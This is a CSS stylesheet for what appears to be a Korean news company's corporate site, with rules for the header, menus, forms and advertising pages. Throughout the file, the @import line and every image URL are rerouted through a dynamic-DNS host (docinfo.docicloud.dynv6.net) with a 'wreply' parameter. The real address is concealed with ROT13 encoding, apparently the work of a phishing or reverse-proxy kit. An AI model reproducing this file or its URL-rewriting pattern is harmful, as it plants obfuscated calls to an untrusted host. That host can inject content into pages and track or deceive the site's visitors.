@charset "UTF-8";
@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfcbdn.tvguho.vb%2Sfcbdn-una-fnaf%2Spff%2SFcbdnUnaFnafArb.pff');

* {margin:0; padding:0; outline:0; box-sizing:border-box;}
html { scroll-behavior: smooth; }
html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, abbr, address, cite, code, del, dfn, em, img, ins, kbd, q, samp, small, strong, sub, sup, var, b, i, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, caption, tbody, tfoot, thead, article, aside, canvas, details, figcaption, figure, footer, header, hgroup, menu, nav, section, summary, time, mark, audio, video,select,option {margin:0; padding:0; border:0; outline:0; vertical-align:baseline; background:transparent;}
article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section,main {display:block;}
nav ul {list-style:none;}
blockquote, q {quotes:none;}
blockquote:before, blockquote:after, q:before, q:after {content:''; content:none;}
a {margin:0;padding:0;font-size:100%;vertical-align:baseline;background:transparent;}
dl,ul,ol,menu,li {list-style:none;}
body,th,td,input,select,textarea,button {font-size:18px; letter-spacing:-0.02em; font-family:'Spoqa Han Sans Neo', 'Noto Sans KR', 'Apple SD Gothic Neo', 'Malgun Gothic','돋움','dotum','Helvetica Neue', Helvetica, Roboto, Arial, sans-serif; color:#222;}
body,th,td,input,select,textarea,button {*font-family:'Spoqa Han Sans Neo', 'Noto Sans KR', 'Apple SD Gothic Neo', 'Malgun Gothic','돋움','dotum','Helvetica Neue', Helvetica, Roboto, Arial, sans-serif;}
input,button,select,label {vertical-align:middle;}
button { background:transparent; border:0;}
del,ins {text-decoration:none;}
a {color:inherit; text-decoration:none;}
a:active, a:hover {text-decoration:underline;}
address,caption,cite,code,dfn,var {font-style:normal;font-weight:normal;}
table {border-collapse:collapse; border-spacing:0;}
button,input {margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;cursor:pointer;*overflow:visible;}
img {vertical-align:middle;}

input::-webkit-outer-spin-button, input::-webkit-inner-spin-button { -webkit-appearance: none; margin: 0;}
input[type='number'] { -moz-appearance: textfield;}
input[type="number"]::-webkit-outer-spin-button, input[type="number"]::-webkit-inner-spin-button { -webkit-appearance: none; -moz-appearance: none; appearance: none; } input[type=number] { -moz-appearance: textfield; }

.clearfix {zoom:1;}
.clearfix:after {content:''; display:block; clear:both;}
.hide {position:absolute; left:-100000em; top:-100000em;}
.flex {display:flex; justify-content: space-between;}
.none {display:none !important;}
.block {display:block !important;}
.align_center {text-align:center;}
.mb20 {margin-bottom:20px;}
.mb40 {margin-bottom:40px;}
.mb60 {margin-bottom:60px;}


body {background-color:#f1f3f6;}
main {background-color:#fafafa; padding:0; box-shadow:0 1px 10px rgba(0,0,0,0.06);}
.company_wrap {max-width:1920px; width:100%; margin:0 auto; box-shadow:0 0 5px rgba(0,0,0,0.04);}
.wrap {max-width:1100px; width:100%; margin:0 auto; padding-left:40px; padding-right:40px;}

/*헤더*/
header {width:100%; height:80px; background:#fff; border-bottom:1px solid rgba(0,0,0,0.1); box-shadow:0 1px 10px rgba(0,0,0,0.06);}
header .wrap {display:flex; align-items:center; height:80px; justify-content: space-between;}
header h1 img {height:35px; display:inline-block;}
header h1 a {display:inline-block;}

header nav ul {display:flex; column-gap:20px; align-items:center; line-height:1em;  font-weight:500;}
header nav li {position:relative;}
header nav li a {padding:15px;}
header nav .on > a {font-weight:600; color:#d91b5c;}
header nav .familysite {border:1px solid #222; border-radius:4px; padding:5px; font-size:0.888888em; font-weight:400; margin-left:50px;}
header nav .familysite a {padding:5px;}
header nav .familysite i {display:inline-block; width: 12px; height: 12px; background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Sneebj_bhgjneq.fit') no-repeat; opacity: .9; margin-left:4px;}
header .btn_fullmenu {width:25px; height:25px; display:none;}

nav li:hover .dropdown_content { display: block;}
.dropdown_content { display: none; position: absolute; left:50%; top:25px; transform:translateX(-50%); background-color: #f9f9f9; min-width: 150px; box-shadow: 0px 4px 10px 0px rgba(0,0,0,0.2); z-index:10; border-radius:10px; border:1px solid rgba(0,0,0,0.2); padding:10px 0; }
.dropdown_content a {display:block;  padding:10px 0; font-weight:400; font-size:0.888888em; text-align:center; }
.dropdown_content a:hover {background-color:#eee; text-decoration:none; color:#000;}
.dropdown_content a[href*="http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Syrnqrefrqvgvba.rgarjf.pbz%2S"] {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Sneebj_bhgjneq.fit') no-repeat 115px center; background-size:12px;}
.dropdown_content a[href*="http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Syrnqrefrqvgvba.rgarjf.pbz%2S"]:hover {background:#eee url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Sneebj_bhgjneq.fit') no-repeat 115px center; background-size:12px;}

/*사이드 바 */
.sidebar { display:none; right:0; z-index:999; position:fixed; top: 0; max-width:300px; height:100%; width:100%; overflow-y: scroll; background-color: #fff; transition: all 0.35s;}
.sidebar.active { display: block;}
.slidebar_header {padding:15px 20px; align-items:center; border-bottom:3px solid #d91b5c; height:60px;}
.slidebar_header .logo img {height:30px; display: inline-block;}
.slidebar_header .closebtn {width:22px; height:22px; opacity:.8; cursor:pointer;}
.slidebar_header .closebtn img {width:100%; height:auto;}
.sidebar_background { -webkit-font-smoothing: antialiased; color: #000; padding: 0; box-sizing: border-box; position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0,0,0,.7); z-index:99; display: none;}

.fullmenu li a {display:block; padding:5px 0; font-size:1em; color:#444;}
.fullmenu li > a {font-weight:600; color:#d91b5c;}
.fullmenu li {border-bottom:1px solid #ddd; padding:20px 40px;}
.fullmenu li dt {font-weight:500; margin-top:8px; color:#000;}
.fullmenu li dd {padding-left:20px; color:#444; font-size:0.888888em;}

/* main */
.main_visual {position:relative;}
.main_visual .text {position:absolute; z-index:2; color:#fff; text-align:center; letter-spacing: -0.05em; top:40%; left:50%; transform: translate(-50%, -50%); width:80%; text-shadow:0 4px 8px rgba(0,0,0,0.25);}
.main_visual .text p {font-size:1.333333em;}
.main_visual .text h2 {font-size:2.5em; margin-top:20px; display:block;}
.video_bg { overflow: hidden; position: relative; width: 100%; padding-bottom:55%; background-color:#222;}
.video_bg iframe { position: absolute; top: -60px; bottom: -60px; left: 0; width: 100%; height: calc(100% + 120px); border: none;}
.video_bg video {position: absolute; top: -60px; bottom: -60px; left: 0; width:100%; height: calc(100% + 120px); border: none; }
.video_bg::after {content:''; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 1; background:rgba(0,0,0,0.7);}

.main_contents {position:absolute; bottom:0; left:0; right:0; z-index:1; padding:40px 0 60px;}
.main_contents .flex {column-gap:20px;}
.main_contents li {width:33.333333%; border:1px solid rgba(0, 0, 0, 0.1); background:#fff; box-shadow:0 5px 10px rgba(0, 0, 0, 0.05); border-radius:10px; padding: 40px 80px 40px 30px; position:relative;}
.main_contents li::after {content:''; position:absolute; display:inline-block; width:90px; right:15px; bottom:5px; opacity:.9;}
.main_contents li:nth-child(1)::after {content:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_znva_01.fit');}
.main_contents li:nth-child(2)::after {content:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_znva_02.fit');}
.main_contents li:nth-child(3)::after {content:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Svzt_znva_03.fit');}
.main_contents strong {font-size:1.222222em; margin-bottom:15px; display:block;}
.main_contents p {font-size:0.888888em; line-height:1em;}
.main_contents p a {display:inline-block; margin-right:10px; margin-top:15px;}


/* sub */
.sub_visual {width:100%; height:300px; position:relative;}
.sub_visual::after {content:''; left:0; top:0; right:0; bottom:0; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Sot_qbg.cat'); position:absolute; z-index:1;}
.sub_visual .wrap {display:flex; align-items: center; justify-content:center; width:100%; height:100%; position:relative; }
.sub_visual h2 {text-align: center; color:#fff; text-shadow:0 4px 8px rgba(0,0,0,0.5); font-size:2.5em; z-index:9; transform:translateY(-20px);}
.sub1_vi {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Sfho1_iv.wct') no-repeat; background-size:cover;}
.sub2_vi {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Sfho2_iv.wct') no-repeat; background-size:cover;}
.sub3_vi {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Spbzcnal%2Svzntrf%2Sfho3_iv.wct') no-repeat; background-size:cover;}
.sub_visual .submenubar {position:absolute; left:0; right:0; bottom:-30px;width:100%; min-height:60px; border-radius:10px; background-color:#fff; box-shadow:0 2px 10px rgba(0,0,0,0.1); z-index:5; display:flex; justify-content: space-between; padding:10px 40px; align-items:center;}
.submenu li {float:left;}
.submenu li::after {content:'|'; font-weight:100; color:#ddd; margin:0 15px; }
.submenu li:last-child::after {display:none;}
.submenu .on {font-weight:600; color:#d91b5c;}
.breadcrumb {font-size:0.777777em; font-weight:400; color:#444;}
.breadcrumb a::before {content:'❭'; font-weight:100; color:#aaa; margin:0 5px; }
.breadcrumb a:hover {text-decoration:none;}
.breadcrumb a:first-child::before {display:none; }
.breadcrumb a:last-child {color:#222; font-weight:500;}
.sub_contents {padding:60px 0 80px;}

/* sub1 */
.sub1_1_1 {column-gap:40px;}
.sub1_1_1 .text {width:65%; line-height:1.6em;}
.sub1_1_1 .text strong {font-size:1.2222222em; display:block; margin-bottom:20px; word-break: keep-all;}
.sub1_1_1 .text p {margin-bottom:15px; }
.sub1_1_1 .img_ceo {width:35%; padding-top:20px; text-align:center;}
.sub1_1_1 .img_ceo img {width:100%; height:auto; margin-bottom:20px; max-width:600px;}
.sub1_1_1 .img_ceo figcaption {text-align:center;}
.sub1_1_1 .img_ceo figcaption strong {font-size:1.2222222em; display:block; margin-top:5px; letter-spacing:0.5em;}

.sub_contents table {width:100%; }
.sub_contents tr {border-bottom:1px solid #eee;}
.sub_contents th {width:15%; text-align:left; vertical-align:middle; padding:15px 0;}
.sub_contents td {width:85%; padding:15px 0; position: relative;}
.sub_contents td input[type=text], .sub_contents td select, .sub_contents td input[type=number], .sub_contents td input[type=email]
 {border:none; background:#eee; padding:6px 10px; width:100%; border-radius:5px; height:36px;}
.sub_contents td input::placeholder {opacity:.8;}
.sub_contents td button {position:absolute; background:#fff; right:20px; border:1px solid #d91b5c; padding:8px 10px; line-height:1em; color:#d91b5c; font-weight:400; border-radius:2px;}
.sub_contents td textarea {border:none; background:#eee; padding:10px; width:100%; border-radius:5px; resize: none; height:80px;}

.sub1_1_2 li {display:flex; column-gap:50px; margin-bottom:60px; align-items:center;}
.sub1_1_2 li .text {width:50%; line-height: 1.6em; word-break: keep-all;}
.sub1_1_2 li .text strong {font-size:2em; display:block; margin-bottom:20px;}
.sub1_1_2 li figure {width:50%;}
.sub1_1_2 li figure img {width:100%; height:auto;}
.sub1_1_2 .et_promise p::before {content:''; width:5px; height:5px; display:inline-block; background-color: #d91b5c; position:absolute; left:0; top:12px;}
.sub1_1_2 .et_promise p {position:relative; margin-bottom:15px; padding-left:15px;}
.sub1_1_2 .et_promise figure {overflow:hidden; border-radius:100%; box-shadow:10px 10px 10px rgba(0,0,0,0.1);}
.sub1_1_2 .et_mission {display:grid; grid-template-columns: 1fr 1fr; background-color:#eee; column-gap:0;}
.sub1_1_2 .et_mission .text {padding:40px; word-break: keep-all; grid-row: 1 / 2; width:100%; grid-column: 2 / 3;}
.sub1_1_2 .et_mission figure {width:auto; grid-column: 1 / 2; grid-row: 1 / 2;}

.sub1_2 {position:relative;}
.sub1_2 figure {width:100%; margin:40px 0 60px;}
.sub1_2 figure img {width:100%;}
.sub1_2 li {margin-bottom:40px; position:absolute; background-color: #fafafa; right:30px;}
.sub1_2 li strong {display:block; font-size:1.222222em; line-height:1em; margin-bottom:10px; color: #d91b5c; }
.sub1_2 li a {background:#1ab2d9; color:#fff; padding:8px 12px; display:inline-block; border-radius:5px; margin-top:10px; line-height:1em;}
.sub1_2 li a:hover {text-decoration:none;}
.sub1_2 li a i {display:inline-block; width:9px; height:14px; margin-left:6px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Stg_erthyne_juvgr.fit');}
.sub1_2 li:nth-child(1) {top:20px; width:445px; padding:10px;}
.sub1_2 li:nth-child(2) {top:145px; width:400px; padding:10px;}
.sub1_2 li:nth-child(2) strong {color:#1ab2d9;}
.sub1_2 li:nth-child(3) {top:315px; width:455px; padding:10px;}
.sub1_2 li:nth-child(3) strong {color:#ff5f22;}

.sub1_3 {margin-top:-20px;}
.sub1_3 li {display:flex; column-gap:60px; border-bottom:1px dashed rgba(0,0,0,0.2); padding:40px 0; position:relative;}
.sub1_3 li:last-child {border:none;}
.sub1_3 li:last-child::before {display:none;}
.sub1_3 li::before {content:''; width:1px; height:100%; display:inline-block; background-color:#aaa; position: absolute; left:4px; top:60px; outline:2px solid #fafafa;}
.sub1_3 li::after {content:''; width:10px; height:10px; display:inline-block; background-color:#444; position: absolute; left:0; top:60px; border-radius:100%; z-index:1;}
.sub1_3 li strong {font-size:3em; font-weight:600; line-height:1em; padding-left:40px;}
.sub1_3 li em {font-style:normal; font-weight:500; display:inline-block; width:55px; position:absolute; left:0; color:#222;}
.sub1_3 li p {margin:2px 0 8px; position:relative; padding-left:70px; color:#444;}

.sub1_4 h3 {font-size:1.333333em; line-height:1em; margin-bottom:20px; color:#222;}
.sub1_4 > div:first-child {margin-bottom:80px;}
.sub1_4 figure {border:10px solid #fff; outline:1px solid rgba(0,0,0,0.1); margin:20px auto; max-width:800px;}
.sub1_4 figure img {width:100%;}
.sub1_4 .btn_download_wrap {text-align:center;}
.sub1_4 .btn_download_wrap a {display:inline-block; margin:10px; background:#fff; padding:10px 18px; border:1px solid #777; border-radius:5px; box-shadow:0 1px 2px rgba(0,0,0,0.1); font-weight:500; min-width:160px;}
.sub1_4 .btn_download_wrap a i {display:inline-block; width:16px; height:16px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Sqbjaybnq.fit') no-repeat center center; margin-left:5px; opacity: .8;}
.sub1_4 .btn_download_wrap a:hover {text-decoration:none; border:1px solid #d91b5c; box-shadow:inset 0 1px 4px rgba(0,0,0,0.1); color:#d91b5c;}
.sub1_4 .btn_download_wrap a:hover i {filter: invert(14%) sepia(98%) saturate(3808%) hue-rotate(329deg) brightness(100%) contrast(88%);}

.sub1_5 ul {margin-top:20px}
.sub1_5 li {display:flex; column-gap:60px; border-bottom:1px dashed rgba(0,0,0,0.5); padding:40px 0; align-items: center;}
.sub1_5 li figure {width:240px;}
.sub1_5 li figure img {opacity:.8; display:block; width:120px; margin:0 auto;}
.sub1_5 li figcaption {text-align:center; font-size:1.3333333em; font-weight:600; margin-top:20px;}

.sub1_5 li .text {width:calc(100% - 300px); position:relative; padding-left:150px;}
.sub1_5 li .text em {position:absolute; left:0; font-weight:600; font-style:normal;}
.sub1_5 li .text p {margin-bottom:12px;}
.sub1_5 li .text p.last {margin-bottom:30px;}

/* sub2 */
.sub2_1 .btn_icon {text-align:center; padding-top:60px;}
.sub2_1 .btn_icon a {display:inline-block; margin:0 50px;}
.sub2_1 .btn_icon span {display:inline-block; background:linear-gradient(to top, #eee, #fff); border-radius:100%; border:1px solid rgba(0,0,0,0.1); width:180px; height:180px; padding:20px; box-shadow:0 4px 8px rgba(0,0,0,0.08);}
.sub2_1 .btn_icon span img {opacity:.75;}
.sub2_1 .btn_icon strong {display:block; font-size:1.222222em; margin:15px 0 40px;}
.sub2_1 .btn_icon a:hover span {background:linear-gradient(to bottom, #eee, #fff); box-shadow:inset 0 1px 4px rgba(0,0,0,0.1);}
.sub2_1 .btn_icon a:hover span img {opacity:.8;}
.sub2_1 .text {margin-bottom:20px; text-align:center; }
.sub2_1 .text p span {font-weight:600; color:#d91b5c;}
.sub2_1 .text p + p {font-weight:400; margin-top:5px;}
.sub2_1_1 {background:#fff; border-radius:10px; padding:20px 40px; box-shadow:0 2px 10px rgba(0,0,0,0.1); margin-bottom:60px;}
.sub2_1_1 td .zipWrap {position:relative;}
.sub2_1_1 td .zipWrap .btn_postnum {display:inline-block; line-height:36px; background-color:#222; padding:0 12px; color:#fff; border-radius:0 5px 5px 0; position:absolute; right:0; top:0; font-size:0.888888em; border:0;}
.sub2_1_1 td.address > input {margin-top:5px;}
.sub2_1_1 .agree {text-align:center; padding:20px 0;}
.sub2_1_1 .agree input[type="checkbox"] {width:0; height:0; margin:0; opacity:0; display:none; }
.sub2_1_1 .labellwarp label {display:block; cursor:pointer; line-height:1em;}
.sub2_1_1 .agree label i {display:inline-block; width:22px; height:22px; background:#fff; border:1px solid #ddd; border-radius:4px; margin-right:5px;}
.sub2_1_1 .agree input[type="checkbox"]:checked + i {background:#fff url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2024%2Srgarjf%2Svzntrf%2Spurpx.fit') no-repeat center center;}
.sub2_1_1 .agree label > * {vertical-align: middle;}
.sub2_1_1 .agree p {display:inline;}
.sub2_1_1 .agree p > a {text-decoration:underline;}
.submit_wrap {padding:20px 0; text-align:center;} 
.btn_submit {background-color:#d91b5c; color: #fff; font-weight:600; padding:15px; width:100%; max-width:540px; border-radius:5px;}
.sub2_1 .text_title {padding-left:40px; color:#222; margin-bottom:10px; font-size:1.111111em;}
.sub2_1 .cs_wrap {background-color:#fff; border-radius:10px; padding:20px 40px; box-shadow:0 2px 10px rgba(0,0,0,0.1);}
.sub2_1 .cs_wrap td {width:35%; vertical-align:middle;}
.sub2_1 .cs_wrap th span {font-weight:500; display:block;}
.sub2_1 .cs_wrap tr:last-child {border:none;}
#postWrap {z-index:999 !important; left: 50% !important; top:50% !important; transform: translate(-50%, -50%);}


/* sub2_2 컨텐츠구매 */
.sub2_2 {line-height:1.4em;}
.sub2_2 > div {margin-bottom:60px;}
.sub2_2 > div:last-child {margin-bottom:0;}
.sub2_2 h3 {font-size:1.333333em; line-height:1em; margin-bottom:20px; color:#d91b5c;}
.sub2_2 h3 + p {margin-bottom:5px;}
.sub2_2 .cpc1_distinct, .cpc1_method {margin-bottom:35px; }
.sub2_2 .cpc1_distinct strong {display:block; font-size:1.111111em; font-weight:500; color:#222; margin:35px 0 10px; }
.cpc1_method strong, .cpc1_estimate strong {font-weight:600; color:#444; padding-left:20px; margin-bottom:15px; position:relative; letter-spacing:-0.4px;}
.cpc1_method strong::before, .cpc1_estimate strong::before {content:''; display:inline-block; width:15px; height:15px; position:absolute; left:0; top:5px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2021%2Spcp%2Svzntrf%2Soyg_neebjobk.cat')no-repeat left center; background-size:15px;}
.cpc1_method ul {margin:20px 0 40px;}
.cpc1_method ul li {float:left; width:25%; padding:6px 0;}
.cpc1_method ul li a {position:relative; padding-left:12px; text-decoration:underline;}
.cpc1_method ul li a::before {position:absolute; left:0; top:10px; content:''; width:4px; height:4px; background:rgba(0,0,0,0.2); display:inline-block; margin-right:5px;}
.cpc1_contact {background:#eee; padding:40px 20px; text-align:center; border-radius:10px; }
.cpc1_contact strong {font-weight:600; margin-bottom:10px; display:block;}
.cpc2_copyright {margin:30px 0 60px;}
.cpc2_copyright li {border-bottom:1px dashed rgba(0,0,0,0.3); padding:25px 0 25px 60px; position:relative;}
.cpc2_copyright li:first-child {border-top:1px dashed rgba(0,0,0,0.3);}
.cpc2_copyright i {color:#ccc; font-size:40px; line-height:1em; width:40px; font-family:'�섎닎紐낆“','Nanum Myeongjo','諛뷀깢', 'Batang', 'AppleMyungjo', serif; font-weight:600; display:block; font-style:italic; position:absolute; left:0; top:25px; text-align:center;}
.cpc2_copyright p span {font-weight:600;}
.tab {margin:30px 0 20px; border-top:1px solid rgba(0,0,0,0.8);}
.tab button {width:20%; float:left; text-align:center; color:#666; line-height:1em; border:1px solid rgba(0,0,0,0.2); border-left:none; padding:20px 5px; font-weight:bold; box-shadow:0 0 2px rgba(0,0,0,0.1); box-sizing:border-box;}
.tab button:first-child {border-left:1px solid rgba(0,0,0,0.2);}
.tab .active {background:#444; color:#fff; box-shadow:0 2px 5px rgba(0,0,0,0.3);}
.cpc3_content dl {border:1px solid rgba(0,0,0,0.15); box-shadow:0 2px 6px rgb(0,0,0,.05); margin-bottom:15px; padding:40px 30px; border-radius:5px;}
.cpc3_content dt {font-weight:500; color:#222; padding-left:26px; margin-bottom:15px; position:relative;}
.cpc3_content dt::before {content:'Q'; display:inline-block; position:absolute; left:0; top:-2px; font-size:1.333333em; line-height:1em; color:#d91b5c; font-weight:400;}
.cpc3_content dt span {color:#d91b5c;}
.cpc3_content dd {color:#444; padding-left:26px; position:relative;}
.cpc3_content dd::before {content:'A'; display:inline-block; position:absolute; left:0; top:0; font-size:1.333333em; line-height:1em; color:rgba(0,0,0,0.4); font-weight:400;}
.cpc3_content dd strong {display:block; font-weight:500;}
.cpc3_content dd p {margin-bottom:8px;}
.sub2_2 .advice .text_wrap {padding:50px; color:#fff; border-radius:10px; background:linear-gradient(to right,rgba(0,0,0,.3) 0,rgba(0,0,0,0)20%,rgba(0,0,0,0) 80%,rgba(0,0,0,.3)100%), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Svzt.rgarjf.pbz%2S2021%2Spcp%2Svzntrf%2Siv_pcp3.wct')no-repeat left center; position:relative; overflow:hidden; min-height:180px; font-weight:bold; text-align:center; text-shadow:0 2px 2px rgba(0,0,0,0.2); color:#fff;}
.sub2_2 .advice .text_wrap h3 {color:#fff;}
.sub2_2 .advice .text_wrap a {display:inline-block;}
.sub2_2 .advice .text_wrap a:last-child::before {content:'|'; font-weight:100; margin:0 8px; }


.sub2_4 > div {margin-bottom:60px;}
.sub2_4 > strong {font-weight:500; display:block; margin-bottom:40px; line-height:1.4em; background: #eee; padding:40px; text-align: center; border-radius: 10px;}
.sub2_4 h3 {font-size:1.333333em; margin-bottom:20px; color:#d91b5c;}
.sub2_4 h3 a {display:inline-block; margin-left:5px; font-size:0.75em; font-weight:300; color:#444; padding:0 8px; position: relative;}
.sub2_4 h3 a::before {content:'('; position:absolute; left:0;}
.sub2_4 h3 a::after {content:')'; position:absolute; right:0;}
.sub2_4 h3 + p {margin-bottom:20px; line-height: 1.5em;}
.sub2_4 h3 + p b {font-weight:500; color:#000;}
.sub2_4 .thumb {border-radius:10px; overflow: hidden;}
.sub2_4 .thumb img {width:100%;}
.sub2_4 span.date {display:block; margin-top:15px; font-size:0.777777em; line-height:1.3em; color:#777; position:relative; padding-left:40px;}
.sub2_4 span.date::before {content:'일정:'; font-weight:600; position:absolute; left:0;}

.sub2_4 .thumbtext li {display:flex; justify-content:space-between; gap:30px; align-items:center; margin-bottom:40px;}
.sub2_4 .thumbtext li > * {width:100%;}
.sub2_4 .thumbtext li .text {line-height: 1.4em;}
.sub2_4 .thumbtext li .text strong {display:block; font-size:18px; margin-bottom:10px;}

.sub2_4 .info {font-size:14px; color:#777; line-height:1.3em; margin-top:15px;}
.sub2_4 .info span {display:inline-block;}
.sub2_4 .info span::after {content:'|'; font-weight:100; margin:0 8px; color:#ddd;}
.sub2_4 .info span:last-child::after {content:''; margin:0;}

.sub2_4 .about {margin-bottom:0; background-color:#eee; padding:20px 40px 40px; border-radius:10px;}
.sub2_4 .about h3 {font-size:0.888888em; color:#d91b5c;}
.sub2_4 .about ul {display:flex; justify-content:space-between; gap:20px; align-items:center; }
.sub2_4 .about li {width:100%; text-align: center; padding:20px; border: 1px solid rgba(0, 0, 0, 0.1); background: #fff; box-shadow: 0 5px 10px rgba(0, 0, 0, 0.1); border-radius: 10px; }
.sub2_4 .about li strong {display:block; margin-bottom:8px;}
.sub2_4 .about li a {display:block; display: block; word-break: break-all; font-size: 0.888888em; margin-bottom:4px;}


/* sub3_1 지면광고안내*/
.sub3_1_1 h3 {font-size: 1.111111em; line-height: 1em; margin-bottom: 20px; color: #222;}
.sub3_1_1 .text_title strong, .sub3_1_2 .text_title strong
{ display:block; font-size:1.333333em; font-weight:500; margin-bottom:15px; }
.sub3_1_1 .text_title {margin-bottom:80px;}

.sub3_1_1 ul {column-gap:60px; text-align:center; margin-bottom:80px; word-break: keep-all;}
.sub3_1_1 ul li {width:25%; }
.sub3_1_1 ul strong {font-size:1em; display:inline-block; font-weight:600; width:100px; height:100px; background-color:#fff; border:8px solid rgba(217, 26, 93, .2); border-radius:100%; color:#d91b5c; padding:20px 10px; word-break: keep-all; position:relative; box-shadow:0 1px 4px rgba(0,0,0,0.1);}
.sub3_1_1 ul strong::before {content:''; width:200px; height:5px; display:inline-block; background-color:rgba(217, 26, 93, .1); position: absolute; left:92px; top:50%}
.sub3_1_1 ul li:last-child strong::before {display:none;}
.sub3_1_1 ul p {font-size:0.888888em; margin-top:10px;}

.sub3_1_1 ol {column-gap:30px;}
.sub3_1_1 ol li {width:20%; border:8px solid #e4b476; padding:15px; display:flex; align-items: center; border-radius:2px; font-weight:600; word-break: keep-all; position:relative; box-shadow:0 1px 4px rgba(0,0,0,0.1);}
.sub3_1_1 ol li:nth-child(2), .sub3_1_1 ol li:nth-child(4) {border:8px solid #98b36c;}
.sub3_1_1 ol li:nth-child(3) {border:8px solid #849ed9;}
.sub3_1_1 ol span {display:block; font-weight:400; font-size:0.888888em;}
.sub3_1_1 ol li::after {content:''; position:absolute; border-bottom:10px solid transparent; border-top:10px solid transparent; border-left:10px solid #98b36c;
  border-right:10px solid transparent; right:-27px;}
.sub3_1_1 ol li:nth-child(1)::after {border-left:10px solid #e4b476;}
.sub3_1_1 ol li:nth-child(3)::after {border-left:10px solid #849ed9;}
.sub3_1_1 ol li:last-child::after {display:none;}

.sub3_1_1 ol li::before {position:absolute; right:5px; bottom:-12px; font-size:3em; font-weight:100;}
.sub3_1_1 ol li:nth-child(1)::before {content:'1'; color:#e4b476; }
.sub3_1_1 ol li:nth-child(2)::before {content:'2'; color:#98b36c;}
.sub3_1_1 ol li:nth-child(3)::before {content:'3'; color:#849ed9;}
.sub3_1_1 ol li:nth-child(4)::before {content:'4'; color:#98b36c;}
.sub3_1_1 ol li:nth-child(5)::before {content:'5'; color:#e4b476;}

.sub3_1_2 li {display:flex; column-gap:40px; padding:40px 0; border-bottom:1px dashed #ddd; text-align:center;  align-items:start;}
.sub3_1_2 li figure {width:40%;}
.sub3_1_2 li figure img {width:100%; height:auto; border:1px solid rgba(0,0,0,0.1); box-shadow:0 4px 6px rgba(0,0,0,0.1);}
.sub3_1_2 li table {width:60%;  margin-top:20px;}
.sub3_1_2 table th {background:#ddd; width:auto; border-top:2px solid #222; border-bottom:1px solid #222; text-align:center; padding:10px;}
.sub3_1_2 table td {width:auto;}
.sub3_1_2 table tr {border-bottom:1px solid #ddd;}
.sub3_1_2 caption {font-weight:600; margin-bottom:20px; font-size:1.111111em;}
.sub3_1_2 caption p {display:inline-block; color:#d91b5c;}
.sub3_1_2 caption p span {color:#444;}

.sub3_1_4 {background: #fff; border-radius:10px; padding:40px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); margin-bottom: 60px; column-gap:60px; align-items:center;}
.sub3_1_4 figure {width:120px; height:120px; border-radius:100%; overflow:hidden;}
.sub3_1_4 figure img {width:100%;}
.sub3_1_4 ul {width:calc(100% - 180px);}
.sub3_1_4 li {padding:15px 0; display:flex; border-bottom:1px solid #eee;}
.sub3_1_4 li:last-child {border-bottom:none;}
.sub3_1_4 li em {font-weight:600; font-style:normal; display:inline-block; width:80px;}
.sub3_1_4 li p {display:inline-block; width:50%;}

.sub3_1_5 .text_title {display:flex; align-items: end; column-gap: 40px; justify-content: space-between; padding-bottom:20px; }
.sub3_1_5 .text_title figure {width:400px; }
.sub3_1_5 .text_title figure img {width:100%;}
.sub3_1_5  .btn_download_wrap {text-align:right;}
